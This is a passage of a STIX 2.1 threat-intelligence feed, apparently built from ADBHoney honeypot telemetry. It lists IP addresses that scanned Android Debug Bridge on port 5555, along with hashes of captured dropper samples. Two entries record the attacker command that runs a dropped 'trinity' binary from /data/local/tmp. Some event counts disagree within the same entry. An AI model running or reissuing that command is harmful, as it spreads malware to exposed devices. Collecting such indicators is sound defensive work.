      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-10T03:43:08.000Z | last_seen=2026-05-10T03:44:09.637Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--aa314866-376d-4f59-b34d-f4f15d975f71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '1.28.231.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:00:02.000Z",
      "valid_until": "2026-06-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-10T03:43:08.000Z",
          "last_seen": "2026-05-10T03:44:09.637Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=211298; asn_org=Driftnet Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T03:59:21.000Z | last_seen=2026-05-10T04:00:27.012Z | ports=5555 | cc=GB | asn=211298 | org=Driftnet Ltd",
      "id": "indicator--97b62b9b-a2b8-4031-8d52-d4ad500469bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:00:02.000Z",
      "valid_until": "2026-06-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T03:59:21.000Z",
          "last_seen": "2026-05-10T04:00:27.012Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "211298"
          ],
          "org": [
            "Driftnet Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T03:28:56.000Z | last_seen=2026-05-10T03:29:58.617Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--037eb993-f383-4b53-8c18-17537e92d9d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.25.89.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:00:02.000Z",
      "valid_until": "2026-06-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T03:28:56.000Z",
          "last_seen": "2026-05-10T03:29:58.617Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-10T03:57:20.000Z | last_seen=2026-05-25T14:34:44.281Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:00:02.000Z",
      "valid_until": "2026-06-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-10T03:57:20.000Z",
          "last_seen": "2026-05-25T14:34:44.281Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-10T03:56:04.000Z | last_seen=2026-05-10T03:57:09.950Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--47359ce1-2970-4161-85b2-b280a9703ca7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:00:02.000Z",
      "valid_until": "2026-06-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-10T03:56:04.000Z",
          "last_seen": "2026-05-10T03:57:09.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T05:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T04:50:59.000Z | last_seen=2026-05-10T04:52:00.380Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--4060026a-dcd2-4272-9c37-91cf9de79df1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:00:10.000Z",
      "valid_until": "2026-06-11T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T04:50:59.000Z",
          "last_seen": "2026-05-10T04:52:00.380Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T05:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=55 | first_seen=2026-05-10T04:51:01.000Z | last_seen=2026-05-10T05:06:51.156Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--16132585-b6aa-4676-ac60-ec57d3c5e05a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:00:10.000Z",
      "valid_until": "2026-06-11T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 55,
          "first_seen": "2026-05-10T04:51:01.000Z",
          "last_seen": "2026-05-10T05:06:51.156Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T05:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T04:03:21.000Z | last_seen=2026-05-10T04:04:27.912Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--f6d69de1-561b-4fef-b075-059304ce3478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.242.89.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:00:10.000Z",
      "valid_until": "2026-06-11T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T04:03:21.000Z",
          "last_seen": "2026-05-10T04:04:27.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T05:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-10T04:37:42.000Z | last_seen=2026-05-10T04:47:57.525Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.145.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:00:10.000Z",
      "valid_until": "2026-06-11T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-10T04:37:42.000Z",
          "last_seen": "2026-05-10T04:47:57.525Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T10:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/1ae7e583f0438f67eab7b20800568a67e9c0ab1f9cad5ac67b95169bf822a678.raw; last_seen=2026-05-10T09:57:15.706Z",
      "id": "indicator--b3dabbf0-dcf1-4995-9638-1f8af9bfc26d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '1ae7e583f0438f67eab7b20800568a67e9c0ab1f9cad5ac67b95169bf822a678']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T10:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/3ffe848a8b85f1cbcf294686d5147c2a2bb67b48735d494b34c7cbafa49d4483.raw; last_seen=2026-05-10T09:57:22.226Z",
      "id": "indicator--9883db7c-0e69-4167-8c2a-c2822e93b1f4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '3ffe848a8b85f1cbcf294686d5147c2a2bb67b48735d494b34c7cbafa49d4483']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T10:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/672751ab69dfc7b07e83d2defac8df06b0d31e5fc995b514a77bbbdf9bdcbce7.raw; last_seen=2026-05-10T09:57:19.214Z",
      "id": "indicator--e0ac44a8-cb39-4410-b25d-52f5aa257ffc",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '672751ab69dfc7b07e83d2defac8df06b0d31e5fc995b514a77bbbdf9bdcbce7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T10:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b37aa7b03d30c481094256eb2361597356d94f346219d8859455eeaa59e6124a.raw; last_seen=2026-05-10T09:57:27.987Z",
      "id": "indicator--320d9f01-7a42-4d45-8087-def48c977a60",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b37aa7b03d30c481094256eb2361597356d94f346219d8859455eeaa59e6124a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T10:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/fb6949d2a61e5cbd77922204d7341c3191f610d3fa7961312cedddf284d061e9.raw; last_seen=2026-05-10T09:57:17.423Z",
      "id": "indicator--b5b173be-454e-4f84-8349-25941f02d669",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'fb6949d2a61e5cbd77922204d7341c3191f610d3fa7961312cedddf284d061e9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=55; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=55 | first_seen=2026-05-10T10:23:40.000Z | last_seen=2026-05-10T10:37:21.647Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
      "id": "indicator--c212a3c9-4478-45ab-b0e4-7a21f60f4e3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.20.2.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:00:10.000Z",
      "valid_until": "2026-06-11T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 55,
          "first_seen": "2026-05-10T10:23:40.000Z",
          "last_seen": "2026-05-10T10:37:21.647Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T12:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=19318; asn_org=Interserver, Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-10T11:23:57.000Z | last_seen=2026-05-10T11:25:01.117Z | ports=5555 | cc=US | asn=19318 | org=Interserver, Inc",
      "id": "indicator--c8f46fb6-6ce9-4f0c-9801-92cac08f5965",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.37.185.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:00:01.000Z",
      "valid_until": "2026-06-11T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-10T11:23:57.000Z",
          "last_seen": "2026-05-10T11:25:01.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "19318"
          ],
          "org": [
            "Interserver, Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=IN; asn=135687; asn_org=Qwistel Network Service Private Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-10T12:17:28.000Z | last_seen=2026-05-10T12:27:56.256Z | ports=5555 | cc=IN | asn=135687 | org=Qwistel Network Service Private Limited",
      "id": "indicator--1efb4c12-d01a-4427-86d8-506e6be83dba",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.176.16.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:00:10.000Z",
      "valid_until": "2026-06-11T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
